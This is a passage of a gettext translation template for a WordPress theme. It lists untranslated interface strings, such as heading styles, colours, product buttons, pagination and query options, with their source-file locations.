#: inc/js_composer/inc/vc-params-helper.php:549
msgid "No Post Found Message"
msgstr ""

#: inc/elementor/base/base-widget.php:135
#: inc/js_composer/inc/vc-params-helper.php:537
msgid "Default Tab Text"
msgstr ""

#: inc/elementor/base/base-widget.php:172
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:410
#: inc/js_composer/inc/vc-params-helper.php:555
msgid "Loading Icon Style"
msgstr ""

#: inc/elementor/base/base-widget.php:175
msgid "Follow Customize"
msgstr ""

#: inc/elementor/base/base-widget.php:189
msgid "Show Ajax Previous/Next Buttons"
msgstr ""

#: inc/elementor/base/base-widget.php:199
#: inc/elementor/base/base-widget.php:232
#: inc/elementor/base/base-widget.php:234
#: inc/elementor/base/base-widget.php:327
#: inc/elementor/base/base-widget.php:363
#: inc/elementor/base/base-widget.php:365
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:521
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:300
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:345
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:347
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:185
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:219
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:221
#: inc/gutenberg/block/popular-posts/index.js:54
#: inc/js_composer/inc/vc-params-helper.php:157
#: inc/js_composer/inc/vc-params-helper.php:835
#: inc/js_composer/inc/vc-params-helper.php:872
#: inc/js_composer/shortcodes/counter_up/settings.php:223
#: inc/js_composer/shortcodes/counter_up/settings.php:225
#: inc/js_composer/shortcodes/counter_up/settings.php:226
#: inc/js_composer/shortcodes/video_playlist/settings.php:121
#: inc/template-builder/single-elements/relatedpost.php:189
#: inc/template-builder/single-elements/relatedpost.php:226
#: inc/template-builder/single-elements/relatedpost.php:228
#: inc/template-builder/single-elements/toc.php:60
msgid "Heading Title"
msgstr ""

#: inc/elementor/base/base-widget.php:204
#: inc/elementor/base/base-widget.php:335
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:50
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:67
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:312
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:52
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:53
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:50
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:48
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:173
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:190
#: inc/js_composer/shortcodes/social_counter/settings.php:178
#: inc/template-builder/single-elements/relatedpost.php:198
msgid "Choose Style"
msgstr ""

#: inc/elementor/base/base-widget.php:208
#: inc/elementor/base/base-widget.php:278
#: inc/elementor/base/base-widget.php:290
#: inc/elementor/base/base-widget.php:301
#: inc/elementor/base/base-widget.php:339
#: inc/elementor/base/base-widget.php:377
#: inc/elementor/base/base-widget.php:388
#: inc/elementor/base/base-widget.php:399
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:316
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:414
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:431
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:444
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:194
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:266
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:278
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:289
#: inc/js_composer/inc/vc-params-helper.php:214
#: inc/js_composer/inc/vc-params-helper.php:846
#: inc/js_composer/inc/vc-params-helper.php:894
#: inc/js_composer/shortcodes/counter_up/settings.php:197
#: inc/js_composer/shortcodes/counter_up/settings.php:245
#: inc/js_composer/shortcodes/video_playlist/settings.php:93
#: inc/js_composer/shortcodes/video_playlist/settings.php:143
#: inc/meta-box/categories-meta-box.php:94
#: inc/meta-box/categories-meta-box.php:127
#: inc/template-builder/single-elements/relatedpost.php:202
#: inc/template-builder/single-elements/relatedpost.php:240
#: inc/template-builder/single-elements/relatedpost.php:251
#: inc/template-builder/single-elements/relatedpost.php:262
msgid "Default ( follow Customize )"
msgstr ""

#: inc/elementor/base/base-widget.php:237
#: inc/elementor/base/base-widget.php:368
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:356
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:224
#: inc/js_composer/inc/vc-params-helper.php:167
#: inc/template-builder/single-elements/relatedpost.php:231
msgid "Title url"
msgstr ""

#: inc/elementor/base/base-widget.php:239
#: inc/elementor/base/base-widget.php:370
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:71
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:528
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:547
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:61
#: inc/elementor/modules/penci-button/widgets/penci-button.php:63
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:358
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:79
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:94
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:111
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:340
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:313
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:276
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:347
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:234
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:136
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:145
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:154
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:226
#: inc/js_composer/shortcodes/team_member/settings.php:181
#: inc/js_composer/shortcodes/team_member/settings.php:190
#: inc/js_composer/shortcodes/team_member/settings.php:199
#: inc/template-builder/single-elements/relatedpost.php:233
msgid "https://your-link.com"
msgstr ""

#: inc/elementor/base/base-widget.php:244
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:368
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:231
#: inc/js_composer/inc/vc-params-helper.php:179
msgid "Add icon for title?"
msgstr ""

#: inc/elementor/base/base-widget.php:246
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:153
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:253
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:275
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:143
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:370
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:101
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:229
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:252
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:233
#: inc/js_composer/inc/vc-params-helper.php:119
#: inc/meta-box/register/page.php:348 inc/meta-box/register/page.php:360
#: inc/template-builder/single-elements/taxonomy.php:112
#: inc/template-builder/single-elements/taxonomy.php:132
#: inc/woocommerce/woocommerce.php:105
msgid "Show"
msgstr ""

#: inc/elementor/base/base-widget.php:247
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:154
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:254
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:276
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:144
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:371
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:102
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:230
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:253
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:234
#: inc/js_composer/inc/vc-params-helper.php:120
#: inc/meta-box/register/page.php:347 inc/meta-box/register/page.php:359
#: inc/template-builder/single-elements/taxonomy.php:113
#: inc/template-builder/single-elements/taxonomy.php:133
msgid "Hide"
msgstr ""

#: inc/elementor/base/base-widget.php:253
#: inc/elementor/base/base-widget.php:770
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1613
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:128
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:141
#: inc/elementor/modules/penci-button/widgets/penci-button.php:177
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1074
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:124
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:132
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:382
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:301
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:52
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:68
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:654
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:49
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:355
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:340
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:122
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:283
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:240
#: inc/js_composer/inc/vc-params-helper.php:185
#: inc/js_composer/shortcodes/counter_up/settings.php:64
#: inc/js_composer/shortcodes/counter_up/settings.php:83
#: inc/js_composer/shortcodes/counter_up/settings.php:292
#: inc/js_composer/shortcodes/fancy_heading/settings.php:249
#: inc/js_composer/shortcodes/info_box/settings.php:106
#: inc/js_composer/shortcodes/info_box/settings.php:130
#: inc/js_composer/shortcodes/info_box/settings.php:339
#: inc/js_composer/shortcodes/open_hours/settings.php:40
#: inc/js_composer/shortcodes/simple_list/settings.php:114
#: inc/js_composer/shortcodes/simple_list/settings.php:119
#: inc/js_composer/shortcodes/simple_list/settings.php:133
#: inc/js_composer/shortcodes/simple_list/settings.php:150
#: inc/js_composer/shortcodes/simple_list/settings.php:163
#: inc/js_composer/shortcodes/simple_list/settings.php:175
#: inc/js_composer/shortcodes/simple_list/settings.php:195
#: inc/js_composer/shortcodes/simple_list/settings.php:196
#: inc/js_composer/shortcodes/simple_list/settings.php:211
#: inc/js_composer/shortcodes/simple_list/settings.php:212
#: inc/js_composer/shortcodes/simple_list/settings.php:227
#: inc/js_composer/shortcodes/simple_list/settings.php:228
#: inc/js_composer/shortcodes/simple_list/settings.php:243
#: inc/js_composer/shortcodes/simple_list/settings.php:244
#: inc/js_composer/shortcodes/simple_list/settings.php:258
#: inc/js_composer/shortcodes/simple_list/settings.php:259
#: inc/js_composer/shortcodes/simple_list/settings.php:274
#: inc/js_composer/shortcodes/simple_list/settings.php:275
#: inc/js_composer/shortcodes/simple_list/settings.php:290
#: inc/js_composer/shortcodes/simple_list/settings.php:291
#: inc/js_composer/shortcodes/simple_list/settings.php:306
#: inc/js_composer/shortcodes/simple_list/settings.php:317
#: inc/js_composer/shortcodes/simple_list/settings.php:328
#: inc/js_composer/shortcodes/simple_list/settings.php:339
msgid "Icon"
msgstr ""

#: inc/elementor/base/base-widget.php:261
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:394
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:249
#: inc/js_composer/inc/vc-params-helper.php:198
msgid "Icon Alignment"
msgstr ""

#: inc/elementor/base/base-widget.php:274
#: inc/elementor/base/base-widget.php:373
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:410
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:262
#: inc/js_composer/inc/vc-params-helper.php:210
#: inc/js_composer/inc/vc-params-helper.php:890
#: inc/js_composer/shortcodes/counter_up/settings.php:241
#: inc/js_composer/shortcodes/pc_archive_title/settings.php:31
#: inc/js_composer/shortcodes/pc_single_subtitle/settings.php:31
#: inc/js_composer/shortcodes/pc_single_title/settings.php:31
#: inc/js_composer/shortcodes/video_playlist/settings.php:139
#: inc/template-builder/archive-elements/title.php:55
#: inc/template-builder/single-elements/relatedpost.php:236
msgid "Heading Align"
msgstr ""

#: inc/elementor/base/base-widget.php:316
#: inc/elementor/base/base-widget.php:413
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:461
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:404
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:435
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:466
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:497
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:528
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:304
#: inc/js_composer/inc/vc-params-helper.php:264
msgid "Margin Bottom"
msgstr ""

#: inc/elementor/base/base-widget.php:331 inc/js_composer/soledad_vc.php:908
#: inc/js_composer/soledad_vc.php:1164 inc/js_composer/soledad_vc.php:1762
#: inc/template-builder/single-elements/relatedpost.php:194
msgid "Hide Heading Title"
msgstr ""

#: inc/elementor/base/base-widget.php:428
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:214
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:908
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:979
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:711
#: inc/js_composer/inc/vc-params-helper.php:289
msgid "Spacing"
msgstr ""

#: inc/elementor/base/base-widget.php:443
#: inc/js_composer/inc/vc-params-helper.php:299
msgid "Next/Prev Buttons Font Size"
msgstr ""

#: inc/elementor/base/base-widget.php:459
#: inc/js_composer/inc/vc-params-helper.php:333
msgid "Hover & Active Color"
msgstr ""

#: inc/elementor/base/base-widget.php:475
msgid "Dropdown Borders Color"
msgstr ""

#: inc/elementor/base/base-widget.php:484
msgid "Dropdown Typography"
msgstr ""

#: inc/elementor/base/base-widget.php:496
#: inc/js_composer/inc/vc-params-helper.php:361
msgid "Dropdown Hover & Active Color"
msgstr ""

#: inc/elementor/base/base-widget.php:504
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:424
#: inc/js_composer/inc/vc-params-helper.php:368
msgid "Loading Icon Color"
msgstr ""

#: inc/elementor/base/base-widget.php:514
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:433
#: inc/js_composer/inc/vc-params-helper.php:375
msgid "Loading Overlay Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:523
#: inc/js_composer/inc/vc-params-helper.php:382
msgid "Loading Overlay Background Opacity"
msgstr ""

#: inc/elementor/base/base-widget.php:536
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:315
#: inc/js_composer/inc/vc-params-helper.php:644
#: inc/js_composer/soledad_vc.php:897 inc/js_composer/soledad_vc.php:1153
#: inc/js_composer/soledad_vc.php:1751
#: inc/template-builder/single-elements/relatedpost.php:444
msgid "Block Heading Title"
msgstr ""

#: inc/elementor/base/base-widget.php:551
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:717
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1429
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:893
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:572
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1036
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:330
#: inc/js_composer/inc/vc-params-helper.php:658
#: inc/js_composer/shortcodes/big_grid/settings.php:550
#: inc/js_composer/shortcodes/big_grid/settings.php:1017
#: inc/template-builder/single-elements/relatedpost.php:460
msgid "Title Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:571
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:348
#: inc/js_composer/inc/vc-params-helper.php:672
msgid "Border Outer Color"
msgstr ""

#: inc/elementor/base/base-widget.php:579
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:356
msgid "Border Top"
msgstr ""

#: inc/elementor/base/base-widget.php:589
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:365
msgid "Border Bottom"
msgstr ""

#: inc/elementor/base/base-widget.php:602
msgid "Small Border Bottom on Style 7 & 8"
msgstr ""

#: inc/elementor/base/base-widget.php:612
#: inc/template-builder/single-elements/relatedpost.php:521
msgid "Background Color for Shapes"
msgstr ""

#: inc/elementor/base/base-widget.php:625
#: inc/template-builder/single-elements/relatedpost.php:534
msgid "Background Color for Shapes Inside"
msgstr ""

#: inc/elementor/base/base-widget.php:635
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:400
#: inc/template-builder/single-elements/relatedpost.php:544
msgid "Background Color for Icon"
msgstr ""

#: inc/elementor/base/base-widget.php:638
#: inc/elementor/base/base-widget.php:648
#: inc/elementor/base/base-widget.php:657
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:403
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:413
#: inc/template-builder/single-elements/relatedpost.php:547
#: inc/template-builder/single-elements/relatedpost.php:557
#: inc/template-builder/single-elements/relatedpost.php:566
msgid "For Icon on Style 15"
msgstr ""

#: inc/elementor/base/base-widget.php:645
#: inc/elementor/base/base-widget.php:1393
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:384
#: inc/elementor/modules/penci-button/widgets/penci-button.php:402
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:570
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:573
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:224
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:662
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:131
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:363
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:410
#: inc/js_composer/inc/vc-params-helper.php:35
#: inc/js_composer/shortcodes/image_gallery/settings.php:150
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:541
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:168
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:115
#: inc/js_composer/shortcodes/social_counter/settings.php:331
#: inc/template-builder/single-elements/custom-field.php:245
#: inc/template-builder/single-elements/featured-overlay.php:420
#: inc/template-builder/single-elements/featured-overlay.php:464
#: inc/template-builder/single-elements/featured-overlay.php:508
#: inc/template-builder/single-elements/featured-overlay.php:553
#: inc/template-builder/single-elements/featured-overlay.php:598
#: inc/template-builder/single-elements/featured-overlay.php:643
#: inc/template-builder/single-elements/meta.php:272
#: inc/template-builder/single-elements/meta.php:316
#: inc/template-builder/single-elements/meta.php:360
#: inc/template-builder/single-elements/meta.php:405
#: inc/template-builder/single-elements/meta.php:450
#: inc/template-builder/single-elements/meta.php:495
#: inc/template-builder/single-elements/relatedpost.php:554
msgid "Icon Color"
msgstr ""

#: inc/elementor/base/base-widget.php:655
#: inc/template-builder/single-elements/relatedpost.php:564
msgid "Custom Font Size for Icon"
msgstr ""

#: inc/elementor/base/base-widget.php:665
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:420
#: inc/template-builder/single-elements/relatedpost.php:574
msgid "Color for Lines"
msgstr ""

#: inc/elementor/base/base-widget.php:668
#: inc/template-builder/single-elements/relatedpost.php:577
msgid "For Lines on Styles 18, 19, 20"
msgstr ""

#: inc/elementor/base/base-widget.php:693
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:446
#: inc/js_composer/inc/vc-params-helper.php:760
#: inc/template-builder/single-elements/relatedpost.php:602
msgid "Background Outer Color"
msgstr ""

#: inc/elementor/base/base-widget.php:702
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:455
#: inc/template-builder/single-elements/relatedpost.php:611
msgid "Select Background Image for Style 9"
msgstr ""

#: inc/elementor/base/base-widget.php:713
#: inc/template-builder/single-elements/relatedpost.php:622
msgid "Background Image Repeat"
msgstr ""

#: inc/elementor/base/base-widget.php:718
#: inc/template-builder/single-elements/relatedpost.php:627
msgid "Repeat X"
msgstr ""

#: inc/elementor/base/base-widget.php:719
#: inc/template-builder/single-elements/relatedpost.php:628
msgid "Repeat Y"
msgstr ""

#: inc/elementor/base/base-widget.php:727
#: inc/template-builder/single-elements/relatedpost.php:636
msgid "Background Image Size"
msgstr ""

#: inc/elementor/base/base-widget.php:730
#: inc/template-builder/single-elements/relatedpost.php:639
msgid "With Auto - Height 100%"
msgstr ""

#: inc/elementor/base/base-widget.php:731
#: inc/template-builder/single-elements/relatedpost.php:640
msgid "Width 100% - Height Auto"
msgstr ""

#: inc/elementor/base/base-widget.php:734
#: inc/template-builder/single-elements/relatedpost.php:643
msgid "Orininal Size"
msgstr ""

#: inc/elementor/base/base-widget.php:742
#: inc/template-builder/single-elements/relatedpost.php:651
msgid "Background Image Position"
msgstr ""

#: inc/elementor/base/base-widget.php:745 inc/meta-box/register/page.php:545
#: inc/options/framework/fields/background/background.php:162
#: inc/template-builder/single-elements/relatedpost.php:654
#: inc/woocommerce/modules/metaboxes.php:200
msgid "Left Top"
msgstr ""

#: inc/elementor/base/base-widget.php:746 inc/meta-box/register/page.php:546
#: inc/options/framework/fields/background/background.php:163
#: inc/template-builder/single-elements/relatedpost.php:655
#: inc/woocommerce/modules/metaboxes.php:201
msgid "Left Center"
msgstr ""

#: inc/elementor/base/base-widget.php:747 inc/meta-box/register/page.php:547
#: inc/options/framework/fields/background/background.php:164
#: inc/template-builder/single-elements/relatedpost.php:656
#: inc/woocommerce/modules/metaboxes.php:202
msgid "Left Bottom"
msgstr ""

#: inc/elementor/base/base-widget.php:748 inc/meta-box/register/page.php:548
#: inc/options/framework/fields/background/background.php:168
#: inc/template-builder/single-elements/relatedpost.php:657
#: inc/woocommerce/modules/metaboxes.php:203
msgid "Right Top"
msgstr ""

#: inc/elementor/base/base-widget.php:749 inc/meta-box/register/page.php:549
#: inc/options/framework/fields/background/background.php:169
#: inc/template-builder/single-elements/relatedpost.php:658
#: inc/woocommerce/modules/metaboxes.php:204
msgid "Right Center"
msgstr ""

#: inc/elementor/base/base-widget.php:750 inc/meta-box/register/page.php:550
#: inc/options/framework/fields/background/background.php:170
#: inc/template-builder/single-elements/relatedpost.php:659
#: inc/woocommerce/modules/metaboxes.php:205
msgid "Right Bottom"
msgstr ""

#: inc/elementor/base/base-widget.php:762
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:315
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:466
#: inc/template-builder/single-elements/relatedpost.php:671
msgid "Block Title Typography"
msgstr ""

#: inc/elementor/base/base-widget.php:775
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1619
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:137
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1080
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:176
#: inc/js_composer/shortcodes/big_grid/settings.php:1230
#: inc/js_composer/shortcodes/info_box/settings.php:50
msgid "Icon position"
msgstr ""

#: inc/elementor/base/base-widget.php:790
#: inc/elementor/modules/penci-product/widgets/penci-product.php:452
msgid "Products Style"
msgstr ""

#: inc/elementor/base/base-widget.php:806
msgid "Product Title Font"
msgstr ""

#: inc/elementor/base/base-widget.php:812
msgid "Product Category Typo"
msgstr ""

#: inc/elementor/base/base-widget.php:827
msgid "Product Category Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:836
msgid "Product Inner Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:845
msgid "Product Buttons Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:855
msgid "Product Buttons Hover Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:865
msgid "Product Buttons Color"
msgstr ""

#: inc/elementor/base/base-widget.php:875
msgid "Product Buttons Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:886
msgid "Add to Cart Typo"
msgstr ""

#: inc/elementor/base/base-widget.php:895
msgid "Add to cart button color"
msgstr ""

#: inc/elementor/base/base-widget.php:910
msgid "Add to cart button hover color"
msgstr ""

#: inc/elementor/base/base-widget.php:925
msgid "Add to cart button background color"
msgstr ""

#: inc/elementor/base/base-widget.php:940
msgid "Add to cart button hover background color"
msgstr ""

#: inc/elementor/base/base-widget.php:955
msgid "Add to cart button border color"
msgstr ""

#: inc/elementor/base/base-widget.php:967
msgid "Add to cart button hover border color"
msgstr ""

#: inc/elementor/base/base-widget.php:979
msgid "Product Inner Text Align"
msgstr ""

#: inc/elementor/base/base-widget.php:1009
msgid "Product Price Typo"
msgstr ""

#: inc/elementor/base/base-widget.php:1014
msgid "Product Item List Separate Border Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1032
msgid "Stock Progress Style"
msgstr ""

#: inc/elementor/base/base-widget.php:1038
msgid "Stock Bar Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1047
msgid "Stock Bar Background Active Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1056
msgid "Stock Bar Height"
msgstr ""

#: inc/elementor/base/base-widget.php:1071
msgid "Pagination Style"
msgstr ""

#: inc/elementor/base/base-widget.php:1076
#: inc/js_composer/shortcodes/product/settings.php:419
msgid "Pagination Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1085
#: inc/js_composer/inc/vc-params-helper.php:1434
#: inc/js_composer/shortcodes/product/settings.php:426
msgid "Pagination Border Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1096
#: inc/js_composer/inc/vc-params-helper.php:1441
msgid "Pagination Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1106
#: inc/js_composer/shortcodes/product/settings.php:433
msgid "Pagination Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1115
#: inc/js_composer/shortcodes/product/settings.php:440
msgid "Pagination Border Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1126
#: inc/js_composer/shortcodes/product/settings.php:447
msgid "Pagination Current Item Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1136
#: inc/js_composer/shortcodes/product/settings.php:454
msgid "Pagination Current Item Border Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1146
msgid "Pagination Current Item Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1156
#: inc/js_composer/shortcodes/product/settings.php:468
msgid "Pagination View More Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1165
msgid "Pagination View More Background Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1174
#: inc/js_composer/shortcodes/product/settings.php:482
msgid "Pagination View More Text Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1184
#: inc/js_composer/shortcodes/product/settings.php:489
msgid "Pagination View More Hover Text Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1198
msgid "Show Custom Post Metas"
msgstr ""

#: inc/elementor/base/base-widget.php:1203
#: inc/js_composer/inc/vc-params-helper.php:406
msgid "Showing Custom Post Metas?"
msgstr ""

#: inc/elementor/base/base-widget.php:1207
#: inc/js_composer/inc/vc-params-helper.php:416
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:28
msgid "Custom Post Meta Keys"
msgstr ""

#: inc/elementor/base/base-widget.php:1212
#: inc/js_composer/inc/vc-params-helper.php:422
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:33
msgid "Custom Post ACF Meta Keys"
msgstr ""

#: inc/elementor/base/base-widget.php:1214
#: inc/template-builder/single-elements/custom-field.php:58
msgid ""
"You can show your own custom fields easily by using the <a href=\"https://"
"wordpress.org/plugins/advanced-custom-fields/\" target=\"_blank\">Advanced "
"Custom Fields</a> plugin."
msgstr ""

#: inc/elementor/base/base-widget.php:1235
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:163
msgid "Query"
msgstr ""

#: inc/elementor/base/base-widget.php:1244
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1827
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1834
#: inc/template-builder/archive-elements/posts.php:210
msgid "Posts Per Page"
msgstr ""

#: inc/elementor/base/base-widget.php:1251
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1842
msgid "Always Show Newest Posts"
msgstr ""

#: inc/elementor/base/base-widget.php:1258
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:76
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1849
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:90
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:116
#: inc/js_composer/shortcodes/web_stories/settings.php:33
#: inc/template-builder/archive-elements/taxonomy.php:137
msgid "Order By"
msgstr ""

